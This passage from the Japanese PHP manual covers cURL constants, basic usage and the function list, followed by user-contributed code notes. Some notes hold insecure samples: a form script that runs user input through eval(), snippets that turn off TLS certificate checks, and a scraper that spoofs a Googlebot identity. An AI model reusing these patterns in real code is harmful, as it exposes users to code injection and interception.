PHP 7.3.0 および cURL 7.55.0 以降で使用可能です。
CURLOPT_SUPPRESS_CONNECT_HEADERS (int)
PHP 7.3.0 および cURL 7.54.0 以降で使用可能です。
CURLPROXY_HTTPS (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURL_SSLVERSION_MAX_DEFAULT (int)
PHP 7.3.0 および cURL 7.54.0 以降で使用可能です。
CURL_SSLVERSION_MAX_NONE (int)
PHP 7.3.0 および cURL 7.54.0 以降で使用可能です。
CURL_SSLVERSION_MAX_TLSv1_0 (int)
PHP 7.3.0 および cURL 7.54.0 以降で使用可能です。
CURL_SSLVERSION_MAX_TLSv1_1 (int)
PHP 7.3.0 および cURL 7.54.0 以降で使用可能です。
CURL_SSLVERSION_MAX_TLSv1_2 (int)
PHP 7.3.0 および cURL 7.54.0 以降で使用可能です。
CURL_SSLVERSION_MAX_TLSv1_3 (int)
PHP 7.3.0 および cURL 7.54.0 以降で使用可能です。
CURL_SSLVERSION_TLSv1_3 (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURL_VERSION_HTTPS_PROXY (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLAUTH_BEARER (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLINFO_APPCONNECT_TIME_T (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLINFO_CONNECT_TIME_T (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLINFO_FILETIME_T (int)
PHP 7.3.0 および cURL 7.59.0 以降で使用可能です。
CURLINFO_NAMELOOKUP_TIME_T (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLINFO_PRETRANSFER_TIME_T (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLINFO_REDIRECT_TIME_T (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLINFO_STARTTRANSFER_TIME_T (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLINFO_TOTAL_TIME_T (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURL_LOCK_DATA_CONNECT (int)
PHP 7.3.0 および cURL 7.10.0 以降で使用可能です。
CURL_LOCK_DATA_PSL (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLOPT_DISALLOW_USERNAME_IN_URL (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLOPT_DNS_SHUFFLE_ADDRESSES (int)
PHP 7.3.0 および cURL 7.60.0 以降で使用可能です。
CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS (int)
PHP 7.3.0 および cURL 7.59.0 以降で使用可能です。
CURLOPT_HAPROXYPROTOCOL (int)
PHP 7.3.0 および cURL 7.60.0 以降で使用可能です。
CURLOPT_PROXY_TLS13_CIPHERS (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLOPT_SSH_COMPRESSION (int)
PHP 7.3.0 および cURL 7.56.0 以降で使用可能です。
CURLOPT_TIMEVALUE_LARGE (int)
PHP 7.3.0 および cURL 7.59.0 以降で使用可能です。
CURLOPT_TLS13_CIPHERS (int)
PHP 7.3.0 および cURL 7.61.0 以降で使用可能です。
CURLSSH_AUTH_GSSAPI (int)
PHP 7.3.0 および cURL 7.58.0 以降で使用可能です。
CURLOPT_HTTP09_ALLOWED (int)
PHP 7.3.15 と 7.4.3 および cURL 7.64.0 以降で使用可能です。

User Contributed Notes

jrschlosser 12-Dec-2017 04:57
In PHP version 7.1.11 there is also constants for HTTP/2 :
CURL_VERSION_HTTP2 = 65536 (1 << 16)
CURL_HTTP_VERSION_2_0 = 3

I don't know the first version of PHP that defines it.
uramihsayibok, gmail, com 02-Sep-2015 09:07
Regarding CURLE_OPERATION_TIMEDOUT vs. CURLE_OPERATION_TIMEOUTED:

Originally cURL had the constant named TIMEOUTED (read: "timeout-ed"). This was changed[1] in 2007 and v7.17.0 to be TIMEDOUT (read: "timed out") and the old constant kept in place as an alias.

PHP started off using TIMEOUTED as well. The TIMEDOUT constant was added[2] in 2012 and v5.5.0 and the old constant was *kept in place*.

If you ask me, the TIMEDOUT constant reads more nicely (not to mention is technically the correct one to use) and as long as you're using PHP 5.5+ then it is available. If you have to support older versions then I suggest you keep using the new constant and add a polyfill like

<?php
if (version_compare(PHP_VERSION, "5.5.0", "<")) {
    define("CURLE_OPERATION_TIMEDOUT", CURLE_OPERATION_TIMEOUTED);
}
?>

or

<?php
// PHP <5.5.0
defined("CURLE_OPERATION_TIMEDOUT") || define("CURLE_OPERATION_TIMEDOUT", CURLE_OPERATION_TIMEOUTED);
?>

to be removed once you stop supporting them.

[1] https://github.com/bagder/curl/commit/9f44a95522162c0f4a61093efe1bf1f58b087358#diff-d8c6cb80505e0f7d5e27fca2a682aa34L119
[2] https://github.com/php/php-src/commit/9ab45d3edbafa3ee751472c3f8d1fb3f51f38cf1#diff-ac978e3de205f1d14eb960e0eb15ef24R723
nimasdj [AT] yahoo [DOT] com 28-Jul-2015 04:34
I hope this would be useful to convert error codes:

<?php
$curl_errno = array(
1  => "CURLE_UNSUPPORTED_PROTOCOL",
2  => "CURLE_FAILED_INIT",
3  => "CURLE_URL_MALFORMAT",
4  => "CURLE_URL_MALFORMAT_USER",
5  => "CURLE_COULDNT_RESOLVE_PROXY",
6  => "CURLE_COULDNT_RESOLVE_HOST",
7  => "CURLE_COULDNT_CONNECT",
8  => "CURLE_FTP_WEIRD_SERVER_REPLY",
9  => "CURLE_FTP_ACCESS_DENIED",
10 => "CURLE_FTP_USER_PASSWORD_INCORRECT",
11 => "CURLE_FTP_WEIRD_PASS_REPLY",
12 => "CURLE_FTP_WEIRD_USER_REPLY",
13 => "CURLE_FTP_WEIRD_PASV_REPLY",
14 => "CURLE_FTP_WEIRD_227_FORMAT",
15 => "CURLE_FTP_CANT_GET_HOST",
16 => "CURLE_FTP_CANT_RECONNECT",
17 => "CURLE_FTP_COULDNT_SET_BINARY",
18 => "CURLE_FTP_PARTIAL_FILE or CURLE_PARTIAL_FILE",
19 => "CURLE_FTP_COULDNT_RETR_FILE",
20 => "CURLE_FTP_WRITE_ERROR",
21 => "CURLE_FTP_QUOTE_ERROR",
22 => "CURLE_HTTP_NOT_FOUND or CURLE_HTTP_RETURNED_ERROR",
23 => "CURLE_WRITE_ERROR",
24 => "CURLE_MALFORMAT_USER",
25 => "CURLE_FTP_COULDNT_STOR_FILE",
26 => "CURLE_READ_ERROR",
27 => "CURLE_OUT_OF_MEMORY",
28 => "CURLE_OPERATION_TIMEDOUT or CURLE_OPERATION_TIMEOUTED",
29 => "CURLE_FTP_COULDNT_SET_ASCII",
30 => "CURLE_FTP_PORT_FAILED",
31 => "CURLE_FTP_COULDNT_USE_REST",
32 => "CURLE_FTP_COULDNT_GET_SIZE",
33 => "CURLE_HTTP_RANGE_ERROR",
34 => "CURLE_HTTP_POST_ERROR",
35 => "CURLE_SSL_CONNECT_ERROR",
36 => "CURLE_BAD_DOWNLOAD_RESUME or CURLE_FTP_BAD_DOWNLOAD_RESUME",
37 => "CURLE_FILE_COULDNT_READ_FILE",
38 => "CURLE_LDAP_CANNOT_BIND",
39 => "CURLE_LDAP_SEARCH_FAILED",
40 => "CURLE_LIBRARY_NOT_FOUND",
41 => "CURLE_FUNCTION_NOT_FOUND",
42 => "CURLE_ABORTED_BY_CALLBACK",
43 => "CURLE_BAD_FUNCTION_ARGUMENT",
44 => "CURLE_BAD_CALLING_ORDER",
45 => "CURLE_HTTP_PORT_FAILED",
46 => "CURLE_BAD_PASSWORD_ENTERED",
47 => "CURLE_TOO_MANY_REDIRECTS",
48 => "CURLE_UNKNOWN_TELNET_OPTION",
49 => "CURLE_TELNET_OPTION_SYNTAX",
50 => "CURLE_OBSOLETE",
51 => "CURLE_SSL_PEER_CERTIFICATE",
52 => "CURLE_GOT_NOTHING",
53 => "CURLE_SSL_ENGINE_NOTFOUND",
54 => "CURLE_SSL_ENGINE_SETFAILED",
55 => "CURLE_SEND_ERROR",
56 => "CURLE_RECV_ERROR",
57 => "CURLE_SHARE_IN_USE",
58 => "CURLE_SSL_CERTPROBLEM",
59 => "CURLE_SSL_CIPHER",
60 => "CURLE_SSL_CACERT",
61 => "CURLE_BAD_CONTENT_ENCODING",
62 => "CURLE_LDAP_INVALID_URL",
63 => "CURLE_FILESIZE_EXCEEDED",
64 => "CURLE_FTP_SSL_FAILED",
79 => "CURLE_SSH"
);
?>
me at ruslanbes dot com 11-May-2015 08:28
Note that prior to PHP 5.5 following constants were missing and were available only through their numeric values:

CURL_SSLVERSION_DEFAULT // 0
CURL_SSLVERSION_TLSv1  // 1
CURL_SSLVERSION_SSLv2 // 2
CURL_SSLVERSION_SSLv3 // 3

This was fixed after this support request: https://bugs.php.net/bug.php?id=62318
s dot coletta at unidata dot it 08-Oct-2009 02:17
Beware of CURLE_* constants!

On the official site:

http://curl.haxx.se/libcurl/c/libcurl-errors.html

some constants are different, some missing compared to the PHP implementation.

Some examples:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT

So if you use the second, it won't march the error 28 because in PHP it is not defined that way.

The same is for these:

CURLE_HTTP_RETURNED_ERROR
CURLE_UPLOAD_FAILED
CURLE_INTERFACE_FAILED
CURLE_SSL_CERTPROBLEM
CURLE_SEND_FAIL_REWIND
CURLE_LOGIN_DENIED
CURLE_AGAIN

that are in someway named differently or missing from PHP.
Ron 04-Aug-2007 11:48
<?
/*
* Author: Ron
* Released: August 4, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.ericgiguere.com/tools/http-header-viewer.html';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

~Ron


例

目次

  • 基本的な curl の使用法

User Contributed Notes

shashank at neupane dot com dot np 04-Mar-2013 09:43
to get the full webpages from head as well as body

<?php
$curl = curl_init('http://example.com');
curl_setopt($curl, CURLOPT_FAILONERROR, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($curl);
echo $result;
?>
William at crandell dot ws 19-Feb-2010 03:11
I have found that cURL is pretty easy to use overall.  Though I have noticed that many have tried and struggled with using cURL and getting a ASP.NET or .aspx form/ page to give back a response.  I am included in the people who have struggled.
To note it seems to be something with the way the form authenticates.

From what I have seen and gathered ASP.NET has a "postback" function using AJAX, __EVENTTARGET, __EVENTARGUMENT and viewstate.  That is where you need to start and make use of the post option with cURL.

Though I do not have an example to offer, I understand that you may need to do more than 1 curl session to complete everything.  One to post and one to get.
vojta at draxl dot eu 16-Aug-2009 02:34
The previous solution is useful for passing through The Google Docs form and also handle the filled data at own server.

You can add the missing feature of confirmation mail with own script and more

PHP converts the dots in the variable's names to underscore. So dont forget to replace back the _ with . in the names of POST variables before sending to google.
ac at zwerg dot at 26-Jun-2009 04:46
If you want to write a sort of php wrapper to include the results of another http(s) request maybe pointing to a totally different site or just different code (mod_perl with HTML::Mason, in my case) into a php based layout, and just pass-thru all GET and POST variables to the sub-request, the following snippet can be used. Note there is no error handling, so this is subject to the underlying application.

<?php
$ch = curl_init($sub_req_url);
$encoded = '';
// include GET as well as POST variables; your needs may vary.
foreach($_GET as $name => $value) {
  $encoded .= urlencode($name).'='.urlencode($value).'&';
}
foreach($_POST as $name => $value) {
  $encoded .= urlencode($name).'='.urlencode($value).'&';
}
// chop off last ampersand
$encoded = substr($encoded, 0, strlen($encoded)-1);
curl_setopt($ch, CURLOPT_POSTFIELDS,  $encoded);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_exec($ch);
curl_close($ch);
?>
cmnajs at gmail dot com 07-Jan-2009 03:57
Following code returns the curl output as a string.

<?php
        // create curl resource
        $ch = curl_init();

        // set url
        curl_setopt($ch, CURLOPT_URL, "example.com");

        //return the transfer as a string
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        // $output contains the output string
        $output = curl_exec($ch);

        // close curl resource to free up system resources
        curl_close($ch);
?>
randearievilo at gmail dot com 16-Jun-2008 10:39
This simple code work fine using libcurl versions before 7.18.x.

<?php
        $ch = curl_init("www.example.com/curl.php?option=test");
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
        echo $output;
?>

If you have some trouble (Ex.: Failed to open/read local data from file/application) using a similar code with libcurl 7.18.x, try to add the option curl_setopt($ch, CURLOPT_POSTFIELDS, "").

I think there was a change in the option CURLOPT_POST. Now, to use this option, it seems to be necessary to set the option CURLOPT_POSTFIELDS.
jlee8df at gmail dot com 30-May-2008 01:47
Basic cURL file or page download with basic error trapping.

<?php

function cURLcheckBasicFunctions()
{
  if( !function_exists("curl_init") &&
      !function_exists("curl_setopt") &&
      !function_exists("curl_exec") &&
      !function_exists("curl_close") ) return false;
  else return true;
}

/*
 * Returns string status information.
 * Can be changed to int or bool return types.
 */
function cURLdownload($url, $file)
{
  if( !cURLcheckBasicFunctions() ) return "UNAVAILABLE: cURL Basic Functions";
  $ch = curl_init();
  if($ch)
  {
    $fp = fopen($file, "w");
    if($fp)
    {
      if( !curl_setopt($ch, CURLOPT_URL, $url) )
      {
        fclose($fp); // to match fopen()
        curl_close($ch); // to match curl_init()
        return "FAIL: curl_setopt(CURLOPT_URL)";
      }
      if( !curl_setopt($ch, CURLOPT_FILE, $fp) ) return "FAIL: curl_setopt(CURLOPT_FILE)";
      if( !curl_setopt($ch, CURLOPT_HEADER, 0) ) return "FAIL: curl_setopt(CURLOPT_HEADER)";
      if( !curl_exec($ch) ) return "FAIL: curl_exec()";
      curl_close($ch);
      fclose($fp);
      return "SUCCESS: $file [$url]";
    }
    else return "FAIL: fopen()";
  }
  else return "FAIL: curl_init()";
}

// Download from 'example.com' to 'example.txt'
echo cURLdownload("http://www.example.com", "example.txt");

?>

- JLee


基本的な curl の使用法

PHP を cURL サポート機能付きでコンパイルすると、 curl 関数を使用可能となります。cURL 関数の基本的な使用法は、 curl_init()により cURL セッションを初期化、 curl_setopt() により転送時のオプションを設定、 続いてcurl_exec() により転送を実行し、 curl_close() によりセッションを終了するというものになります。 cURL 関数を使用して example.com ホームページをファイルに取得する例を示します。

例1 PHP の cURL モジュールを使用して example.com のホームページを取得する

<?php

$ch = curl_init("http://www.example.com/");
$fp = fopen("example_homepage.txt", "w");

curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
if(curl_error($ch)) {
    fwrite($fp, curl_error($ch));
}
curl_close($ch);
fclose($fp);
?>

User Contributed Notes

Roberto Braga 01-Apr-2015 09:45
It is important to notice that when using curl to post form data and you use an array for CURLOPT_POSTFIELDS option, the post will be in multipart format

<?php
$params=['name'=>'John', 'surname'=>'Doe', 'age'=>36)
$defaults = array(
CURLOPT_URL => 'http://myremoteservice/',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $params,
);
$ch = curl_init();
curl_setopt_array($ch, ($options + $defaults));
?>
This produce the following post header:

--------------------------fd1c4191862e3566
Content-Disposition: form-data; name="name"

Jhon
--------------------------fd1c4191862e3566
Content-Disposition: form-data; name="surnname"

Doe
--------------------------fd1c4191862e3566
Content-Disposition: form-data; name="age"

36
--------------------------fd1c4191862e3566--

Setting CURLOPT_POSTFIELDS as follow produce a standard post header

CURLOPT_POSTFIELDS => http_build_query($params),

Which is:
name=John&surname=Doe&age=36

This caused me 2 days of debug while interacting with a java service which was sensible to this difference, while the equivalent one in php got both format without problem.


cURL 関数

目次

  • curl_close — cURL セッションを閉じる
  • curl_copy_handle — cURL ハンドルを、その設定も含めてコピーする
  • curl_errno — 直近のエラー番号を返す
  • curl_error — 現在のセッションに関する直近のエラー文字列を返す
  • curl_escape — 指定した文字列を URL エンコードする
  • curl_exec — cURL セッションを実行する
  • curl_file_create — CURLFile オブジェクトを作る
  • curl_getinfo — 指定した伝送に関する情報を得る
  • curl_init — cURL セッションを初期化する
  • curl_multi_add_handle — cURL マルチハンドルに、通常の cURL ハンドルを追加する
  • curl_multi_close — cURL ハンドルのセットを閉じる
  • curl_multi_errno — 直近のマルチハンドルに対するエラー番号を返す
  • curl_multi_exec — 現在の cURL ハンドルから、サブ接続を実行する
  • curl_multi_getcontent — CURLOPT_RETURNTRANSFER が設定されている場合に、cURL ハンドルの内容を返す
  • curl_multi_info_read — 現在の転送についての情報を表示する
  • curl_multi_init — 新規 cURL マルチハンドルを返す
  • curl_multi_remove_handle — cURL ハンドルのセットからマルチハンドルを削除する
  • curl_multi_select — curl_multi 接続のアクティビティを待つ
  • curl_multi_setopt — cURL マルチハンドル用のオプションを設定する
  • curl_multi_strerror — エラーの内容を表す文字列を返す
  • curl_pause — 接続の中断と再開をする
  • curl_reset — libcurl セッションハンドルのすべてのオプションをリセットする
  • curl_setopt_array — CURL 転送用の複数のオプションを設定する
  • curl_setopt — cURL 転送用オプションを設定する
  • curl_share_close — cURL 共有ハンドルを閉じる
  • curl_share_errno — 直近の共有ハンドルに対するエラー番号を返す
  • curl_share_init — curl 共有ハンドルを初期化する
  • curl_share_setopt — cURL 共有ハンドルのオプションを設定する
  • curl_share_strerror — 与えられたエラーコードを説明する文字列を返す
  • curl_strerror — エラーコードの説明を返す
  • curl_unescape — URL エンコードされた文字列をデコードする
  • curl_version — cURL のバージョンを返す

User Contributed Notes

ciaoandriana8 at gmail dot com 14-Feb-2021 06:13
This is sample script to use curl, Just input curl_setopt,
exp :
curlsetop[0] ==> name : CURLOPT_URL ; value : https://amzn.to/3njlWW6
curlsetop[1] ==> name : CURLOPT_RETURNTRANSFER ; value : true
curlsetop[2] ==> name : CURLOPT_FOLLOWLOCATION ; value : true

You can add form input.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <title> New Document </title>
  <meta name="Generator" content="">
  <meta name="Author" content="Helmi Anwar">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
</head>

<body>

<form method="post" action="">
    <table>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
        <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr>
        <td><input type="submit" name="submit_yes" value="EXECUTE"></td>
    </tr>
    </table>
</form>

<?php

    function curl_test($setopt_content)
    {
        $ch = curl_init();
        curl_setopt_array($ch, $setopt_content);
        $result_data = curl_exec($ch);
        curl_close($ch);
        return $result_data;
    }

if($_REQUEST['submit_yes']=="EXECUTE")
{

    foreach ($_REQUEST['setopt_name'] as $k => $index_content)
    {
        $value_content=$_REQUEST['setopt_value'][$k];
        $index_content =strtoupper($index_content);
        eval('$index_content = '.$index_content.';');
        //echo ($index_content);
        if($index_content!='')
        {
            if(strtoupper($value_content)=='TRUE')
            {$setopt_content[$index_content]=TRUE;}
            elseif(strtoupper($value_content)=='FALSE')
            {$setopt_content[$index_content]=FALSE;}
            else
            {$setopt_content[$index_content]=$value_content;}
        }
    }

    $info=curl_test($setopt_content);

}

?>
<textarea name="result" rows="25" cols="100"><?php echo htmlspecialchars($info);?></textarea>
</body>
</html>
helmizz at yahoo dot com 11-May-2014 10:03
This is sample script to use curl, Just input curl_setopt,
exp :
curlsetop[0] ==> name : CURLOPT_URL ; value : http://amazon.com
curlsetop[1] ==> name : CURLOPT_RETURNTRANSFER ; value : true
curlsetop[2] ==> name : CURLOPT_FOLLOWLOCATION ; value : true

You can add form input.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
 <head>
  <title> New Document </title>
  <meta name="Generator" content="">
  <meta name="Author" content="Helmi Anwar">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
 </head>

 <body>

 <form method="post" action="">
    <table>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
        <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr>
        <td><input type="submit" name="submit_yes" value="EXECUTE"></td>
    </tr>
    </table>
 </form>

 <?php

    function curl_test($setopt_content)
    {
        $ch = curl_init();
        curl_setopt_array($ch, $setopt_content);
        $result_data = curl_exec($ch);
        curl_close($ch);
        return $result_data;
    }

if($_REQUEST['submit_yes']=="EXECUTE")
{

    foreach ($_REQUEST['setopt_name'] as $k => $index_content)
    {
        $value_content=$_REQUEST['setopt_value'][$k];
        $index_content =strtoupper($index_content);
        eval('$index_content = '.$index_content.';');
        //echo ($index_content);
        if($index_content!='')
        {
            if(strtoupper($value_content)=='TRUE')
            {$setopt_content[$index_content]=TRUE;}
            elseif(strtoupper($value_content)=='FALSE')
            {$setopt_content[$index_content]=FALSE;}
            else
            {$setopt_content[$index_content]=$value_content;}
        }
    }

    $info=curl_test($setopt_content);

}

 ?>
 <textarea name="result" rows="25" cols="100"><?php echo htmlspecialchars($info);?></textarea>
 </body>
</html>
Emprivo.com 26-Aug-2009 09:58
Fixed bugs in the function posted earlier (better javascript redirect following and now supports HTTPS)

<?php

/*==================================
Get url content and response headers (given a url, follows all redirections on it and returned content and response headers of final url)

@return    array[0]    content
        array[1]    array of response headers
==================================*/
function get_url( $url,  $javascript_loop = 0, $timeout = 5 )
{
    $url = str_replace( "&amp;", "&", urldecode(trim($url)) );

    $cookie = tempnam ("/tmp", "CURLCOOKIE");
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" );
    curl_setopt( $ch, CURLOPT_URL, $url );
    curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_ENCODING, "" );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_AUTOREFERER, true );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );    # required for https urls
    curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_MAXREDIRS, 10 );
    $content = curl_exec( $ch );
    $response = curl_getinfo( $ch );
    curl_close ( $ch );

    if ($response['http_code'] == 301 || $response['http_code'] == 302)
    {
        ini_set("user_agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1");

        if ( $headers = get_headers($response['url']) )
        {
            foreach( $headers as $value )
            {
                if ( substr( strtolower($value), 0, 9 ) == "location:" )
                    return get_url( trim( substr( $value, 9, strlen($value) ) ) );
            }
        }
    }

    if (    ( preg_match("/>[[:space:]]+window\.location\.replace\('(.*)'\)/i", $content, $value) || preg_match("/>[[:space:]]+window\.location\=\"(.*)\"/i", $content, $value) ) &&
            $javascript_loop < 5
    )
    {
        return get_url( $value[1], $javascript_loop+1 );
    }
    else
    {
        return array( $content, $response );
    }
}

?>
Peter X. 02-May-2008 07:44
Although it has been noted that cURL outperforms both file_get_contents and fopen when it comes to getting a file over a HTTP link, the disadvantage of cURL is that it has no way of only reading a part of a page at a time.

For example, the following code is likely to generate a memory limit error:

<?php
$ch = curl_init("http://www.example.com/reallybigfile.tar.gz");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
$output = curl_exec($ch);

$fh = fopen("out.tar.gz", 'w');
fwrite($fh, $output);
fclose($fh);
?>

While this, on the other hand, wouldn't

<?php
$hostfile = fopen("http://www.example.com/reallybigfile.tar.gz", 'r');
$fh = fopen("out.tar.gz", 'w');

while (!feof($hostfile)) {
    $output = fread($hostfile, 8192);
    fwrite($fh, $output);
}

fclose($hostfile);
fclose($fh);
?>
Mr.KTO 07-Jul-2007 06:59
Don't foget to curl_close($ch); Even if curl_errno($ch) != 0

Because if you don't - on Windows this will produce windows-error-report (Program terminated unexpectedly)
killermonk at REMOVE dot killermonk dot com 06-Mar-2007 11:23
For anyone trying to use cURL to submit to an ASP/ASPX page that uses an image as the submit button.

Make sure that you have 'button_name.x' and 'button_name.y' in the post fields. PHP names these fields 'button_name_x' and 'button_name_y', while ASP uses a dot.

Also, as noted above, be sure to include the '__VIEWSTATE' input field in your post request.
gordon_e_rouse at yahoo dot com dot au 25-Jan-2007 02:24
Using curl to take snapshots of the current page for emailing the HTML is a clever little idea. (ie: Email this page to a friend)

<?php
//to be explained below!
session_write_close();

$pageurl = "http://www.site.com/content.php?PHPSESSID=123XYZ
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_URL, $pageurl );
$html = curl_exec ( $ch );
curl_close($ch);

//then you need to fix pathing to absolute
$search = "/(src|href|background)=\"[^:,^>,^\"]*\"/i";

preg_match_all ( $search, $html, $a_matches );

//you can figure out the rest ! but thought the reg expression is useful as well
?>

But here is the catch, you may want to make sure curl connects to the server under the same session as the browser. So naturally you pass the session cookie through the curl system either by the cookie jar system, or through the query string in the path.

This is where you will get stuck. PHP will need write access to the same session file simultaneously!! causing serious hanging issues!

This is why you should close off your session before you make curl take a page snapshot!
galvao at galvao.eti.br 06-Jul-2006 08:27
Note that on Win32 this documentation can get a little confusing.

In order to get this to work you need to:

1) Be sure that the folder where libeay32.dll and ssleay32.dll - tipically C:\\PHP - is present on the PATH variable.

2) Uncomment - remove the semi-colon - the line that says "extension=php_curl.dll" from php.ini

3) Restart the webserver (you should already know this one, but...)

It took me some time to realize this, since this page doesn't mention the need to uncomment that php.ini's line.
richardkmiller AT gmail 02-Mar-2006 04:21
Beware of any extra spaces in the URL.  A trailing space in the URL caused my script to fail with the message "empty reply from server".
stevehartken at hotmail dot com 21-Feb-2006 10:40
I had the following experience when harvesting urls with a get variable from a page using cUrl. HTML pages will output ampersands as &amp when the page is read by the curl function.

If you code a script to find all hyperlinks, it will use &amp instead of &, especially using a regular expression search.

It is hard to detect because when you output the url to the browser it renders the html. To fix, add a line to replace the &amp with &.

<?php
function processURL($url){
    $url=str_replace('&amp;','&',$url);
    $ch=curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    $xml = curl_exec ($ch);
    curl_close ($ch);
    echo $xml;
}
?>
mikeb[at]xamo[dot]com 14-Oct-2004 01:11
A note of warning for PHP 5 users: if you try to fetch the CURLINFO_CONTENT_TYPE using curl_getinfo when there is a connect error, you will core dump PHP. I have informed the Curl team about this, so it will hopefully be fixed soon. Just make sure you check for an error before you look for this data.
alidrus at langkah dot com 14-Sep-2004 02:31
In recent versions of php, CURLOPT_MUTE has (probably) been deprecated. Any attempt of using curl_setopt() to set CURLOPT_MUTE will give you a warning like this:

PHP Notice:  Use of undefined constant CURLOPT_MUTE - assumed 'CURLOPT_MUTE' in ....

If you wish tu silence the curl output, use the following instead:

<?php
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
?>

And then,

<?php
    $curl_output=curl_exec($ch);
?>

The output of the curl operation will be stored as a string in $curl_output while the operation remains totally silent.
